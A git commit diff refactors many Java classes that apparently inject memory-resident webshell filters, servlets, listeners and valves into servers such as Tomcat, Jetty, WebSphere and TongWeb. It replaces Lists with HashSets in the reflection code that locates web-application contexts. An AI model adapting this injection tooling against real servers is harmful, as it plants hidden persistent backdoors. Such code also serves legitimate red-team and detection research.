refactor: use hashset to reduce inject times

This commit is contained in:
ReaJason
2025-12-08 01:43:41 +08:00
parent 47386571d8
commit 2fa3310bf8
29 changed files with 115 additions and 151 deletions
@@ -7,10 +7,7 @@ import java.io.PrintStream;
import java.lang.reflect.Array; import java.lang.reflect.Array;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.*;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -34,7 +31,7 @@ public class ApusicFilterInjector {
} }
public ApusicFilterInjector() { public ApusicFilterInjector() {
List<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
@@ -77,8 +74,8 @@ public class ApusicFilterInjector {
* context -> webapp: com.apusic.deploy.runtime.WebModule * context -> webapp: com.apusic.deploy.runtime.WebModule
* /usr/local/ass/lib/apusic.jar * /usr/local/ass/lib/apusic.jar
*/ */
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("HouseKeeper")) { if (thread.getName().contains("HouseKeeper")) {
@@ -6,10 +6,7 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.*;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -33,7 +30,7 @@ public class ApusicListenerInjector {
} }
public ApusicListenerInjector() { public ApusicListenerInjector() {
List<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
@@ -71,8 +68,8 @@ public class ApusicListenerInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("HouseKeeper")) { if (thread.getName().contains("HouseKeeper")) {
@@ -6,10 +6,7 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.*;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -33,7 +30,7 @@ public class ApusicServletInjector {
} }
public ApusicServletInjector() { public ApusicServletInjector() {
List<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
@@ -71,8 +68,8 @@ public class ApusicServletInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("HouseKeeper")) { if (thread.getName().contains("HouseKeeper")) {
@@ -30,7 +30,7 @@ public class BesFilterInjector {
} }
public BesFilterInjector() { public BesFilterInjector() {
List<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
@@ -72,8 +72,8 @@ public class BesFilterInjector {
* com.bes.enterprise.webtier.core.DefaultContext * com.bes.enterprise.webtier.core.DefaultContext
* /opt/bes/lib/bes-engine.jar * /opt/bes/lib/bes-engine.jar
*/ */
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -26,7 +26,7 @@ public class BesListenerInjector {
} }
public BesListenerInjector() { public BesListenerInjector() {
List<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
@@ -25,7 +25,7 @@ public class BesValveInjector {
} }
public BesValveInjector() { public BesValveInjector() {
List<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
@@ -63,8 +63,8 @@ public class BesValveInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -7,10 +7,7 @@ import java.io.PrintStream;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.*;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -33,7 +30,7 @@ public class GlassFishFilterInjector {
} }
public GlassFishFilterInjector() { public GlassFishFilterInjector() {
List<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
@@ -75,8 +72,8 @@ public class GlassFishFilterInjector {
* com.sun.enterprise.web.WebModule * com.sun.enterprise.web.WebModule
* /xxx/modules/web-glue.jar * /xxx/modules/web-glue.jar
*/ */
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -26,7 +26,7 @@ public class GlassFishValveInjector {
public GlassFishValveInjector() { public GlassFishValveInjector() {
List<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
@@ -64,8 +64,8 @@ public class GlassFishValveInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -31,7 +31,7 @@ public class InforSuiteFilterInjector {
} }
public InforSuiteFilterInjector() { public InforSuiteFilterInjector() {
List<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
@@ -73,8 +73,8 @@ public class InforSuiteFilterInjector {
* com.cvicse.loong.enterprise.web.WebModule * com.cvicse.loong.enterprise.web.WebModule
* /usr/local/inforsuite/as/modules/web-glue.jar * /usr/local/inforsuite/as/modules/web-glue.jar
*/ */
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -6,6 +6,7 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.*; import java.lang.reflect.*;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.HashSet;
import java.util.List; import java.util.List;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -33,7 +34,7 @@ public class JettyFilterInjector {
} }
public JettyFilterInjector() { public JettyFilterInjector() {
List<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
@@ -154,8 +155,8 @@ public class JettyFilterInjector {
* org.eclipse.jetty.ee9.webapp.WebAppContext * org.eclipse.jetty.ee9.webapp.WebAppContext
* org.eclipse.jetty.ee10.webapp.WebAppContext * org.eclipse.jetty.ee10.webapp.WebAppContext
*/ */
private List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
try { try {
@@ -8,10 +8,7 @@ import java.lang.reflect.Array;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.*;
import java.util.EventListener;
import java.util.List;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -22,7 +19,7 @@ public class JettyListenerInjector {
private String msg = ""; private String msg = "";
public JettyListenerInjector() { public JettyListenerInjector() {
List<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
@@ -68,8 +65,8 @@ public class JettyListenerInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
private List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
try { try {
@@ -6,6 +6,7 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.*; import java.lang.reflect.*;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.HashSet;
import java.util.List; import java.util.List;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -31,7 +32,7 @@ public class JettyServletInjector {
} }
public JettyServletInjector() { public JettyServletInjector() {
List<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
@@ -77,8 +78,8 @@ public class JettyServletInjector {
} }
} }
private List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
try { try {
@@ -29,7 +29,7 @@ public class ResinFilterInjector {
} }
public ResinFilterInjector() { public ResinFilterInjector() {
List<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
@@ -71,7 +71,7 @@ public class ResinFilterInjector {
* com.caucho.server.webapp.Application * com.caucho.server.webapp.Application
* /usr/local/resin3/lib/resin.jar * /usr/local/resin3/lib/resin.jar
*/ */
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
@@ -87,7 +87,7 @@ public class ResinFilterInjector {
contexts.add(webApp); contexts.add(webApp);
} }
} }
return Arrays.asList(contexts.toArray()); return contexts;
} }
public ClassLoader getWebAppClassLoader(Object context) throws Exception { public ClassLoader getWebAppClassLoader(Object context) throws Exception {
@@ -28,7 +28,7 @@ public class ResinListenerInjector {
} }
public ResinListenerInjector() { public ResinListenerInjector() {
List<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
@@ -66,7 +66,7 @@ public class ResinListenerInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
@@ -82,7 +82,7 @@ public class ResinListenerInjector {
contexts.add(webApp); contexts.add(webApp);
} }
} }
return Arrays.asList(contexts.toArray()); return contexts;
} }
public ClassLoader getWebAppClassLoader(Object context) throws Exception { public ClassLoader getWebAppClassLoader(Object context) throws Exception {
@@ -30,7 +30,7 @@ public class ResinServletInjector {
} }
public ResinServletInjector() { public ResinServletInjector() {
List<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
@@ -68,7 +68,7 @@ public class ResinServletInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
@@ -80,7 +80,7 @@ public class ResinServletInjector {
} catch (Exception ignored) { } catch (Exception ignored) {
} }
} }
return Arrays.asList(contexts.toArray()); return contexts;
} }
public ClassLoader getWebAppClassLoader(Object context) throws Exception { public ClassLoader getWebAppClassLoader(Object context) throws Exception {
@@ -7,10 +7,7 @@ import java.io.PrintStream;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.*;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -21,7 +18,7 @@ public class TomcatFilterInjector {
private String msg = ""; private String msg = "";
public TomcatFilterInjector() { public TomcatFilterInjector() {
List<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
@@ -75,8 +72,8 @@ public class TomcatFilterInjector {
* org.apache.catalina.core.StandardContext * org.apache.catalina.core.StandardContext
* /usr/local/tomcat/server/lib/catalina.jar * /usr/local/tomcat/server/lib/catalina.jar
*/ */
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -8,10 +8,7 @@ import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.lang.reflect.Proxy; import java.lang.reflect.Proxy;
import java.util.ArrayList; import java.util.*;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -24,7 +21,7 @@ public class TomcatProxyValveInjector implements InvocationHandler {
private String msg = ""; private String msg = "";
public TomcatProxyValveInjector() { public TomcatProxyValveInjector() {
List<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
@@ -92,8 +89,8 @@ public class TomcatProxyValveInjector implements InvocationHandler {
return method.invoke(rawValve, args); return method.invoke(rawValve, args);
} }
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -8,10 +8,7 @@ import java.lang.reflect.Array;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.*;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -35,7 +32,7 @@ public class TomcatServletInjector {
} }
public TomcatServletInjector() { public TomcatServletInjector() {
List<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
@@ -73,8 +70,8 @@ public class TomcatServletInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -25,7 +25,7 @@ public class TomcatValveInjector {
} }
public TomcatValveInjector() { public TomcatValveInjector() {
List<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
@@ -63,8 +63,8 @@ public class TomcatValveInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -7,10 +7,7 @@ import java.io.PrintStream;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.*;
import java.util.HashMap;
import java.util.List;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -34,7 +31,7 @@ public class TomcatWebSocketInjector {
} }
public TomcatWebSocketInjector() { public TomcatWebSocketInjector() {
List<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
@@ -72,8 +69,8 @@ public class TomcatWebSocketInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -80,7 +80,7 @@ public class TongWebFilterInjector {
* /opt/tweb8/version8.0.6.2/tongweb-web.jar * /opt/tweb8/version8.0.6.2/tongweb-web.jar
*/ */
public Set<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
try { try {
@@ -64,7 +64,7 @@ public class TongWebListenerInjector {
} }
public Set<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -64,7 +64,7 @@ public class TongWebValveInjector {
} }
public Set<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -30,7 +30,7 @@ public class UndertowFilterInjector {
} }
public UndertowFilterInjector() { public UndertowFilterInjector() {
List<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
@@ -68,8 +68,8 @@ public class UndertowFilterInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public List<Object> getContext() { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
try { try {
@@ -8,6 +8,7 @@ import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.HashSet;
import java.util.List; import java.util.List;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -21,7 +22,7 @@ public class UndertowListenerInjector {
private String msg = ""; private String msg = "";
public UndertowListenerInjector() { public UndertowListenerInjector() {
List<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
@@ -67,8 +68,8 @@ public class UndertowListenerInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
try { try {
@@ -8,6 +8,7 @@ import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.HashSet;
import java.util.List; import java.util.List;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -33,7 +34,7 @@ public class UndertowServletInjector {
} }
public UndertowServletInjector() { public UndertowServletInjector() {
List<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
@@ -71,8 +72,8 @@ public class UndertowServletInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
try { try {
@@ -9,7 +9,9 @@ import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.HashSet;
import java.util.List; import java.util.List;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -36,7 +38,7 @@ public class WebSphereFilterInjector {
} }
public WebSphereFilterInjector() { public WebSphereFilterInjector() {
List<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
@@ -78,27 +80,22 @@ public class WebSphereFilterInjector {
* com.ibm.ws.webcontainer.webapp.WebAppImpl * com.ibm.ws.webcontainer.webapp.WebAppImpl
* /opt/IBM/WebSphere/AppServer/plugins/com.ibm.ws.webcontainer.jar * /opt/IBM/WebSphere/AppServer/plugins/com.ibm.ws.webcontainer.jar
*/ */
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Object context; Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
Object obj = getFieldValue(Thread.currentThread(), "wsThreadLocals");
Object[] wsThreadLocals = (Object[]) obj;
for (Object wsThreadLocal : wsThreadLocals) { for (Object wsThreadLocal : wsThreadLocals) {
obj = wsThreadLocal;
// for websphere 7.x // for websphere 7.x
if (obj != null && obj.getClass().getName().endsWith("FastStack")) { if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
Object[] stackList = (Object[]) getFieldValue(obj, "stack"); Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
for (Object stack : stackList) { for (Object stack : stackList) {
try { try {
Object config = getFieldValue(stack, "config"); Object config = getFieldValue(stack, "config");
context = getFieldValue(getFieldValue(config, "context"), "context"); contexts.add(getFieldValue(getFieldValue(config, "context"), "context"));
contexts.add(context);
} catch (Exception ignored) { } catch (Exception ignored) {
} }
} }
} else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) { } else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
context = getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"); contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
contexts.add(context);
} }
} }
return contexts; return contexts;
@@ -7,7 +7,9 @@ import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.HashSet;
import java.util.List; import java.util.List;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -26,7 +28,7 @@ public class WebSphereListenerInjector {
} }
public WebSphereListenerInjector() { public WebSphereListenerInjector() {
List<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
@@ -64,27 +66,22 @@ public class WebSphereListenerInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Object context; Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
Object obj = getFieldValue(Thread.currentThread(), "wsThreadLocals");
Object[] wsThreadLocals = (Object[]) obj;
for (Object wsThreadLocal : wsThreadLocals) { for (Object wsThreadLocal : wsThreadLocals) {
obj = wsThreadLocal;
// for websphere 7.x // for websphere 7.x
if (obj != null && obj.getClass().getName().endsWith("FastStack")) { if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
Object[] stackList = (Object[]) getFieldValue(obj, "stack"); Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
for (Object stack : stackList) { for (Object stack : stackList) {
try { try {
Object config = getFieldValue(stack, "config"); Object config = getFieldValue(stack, "config");
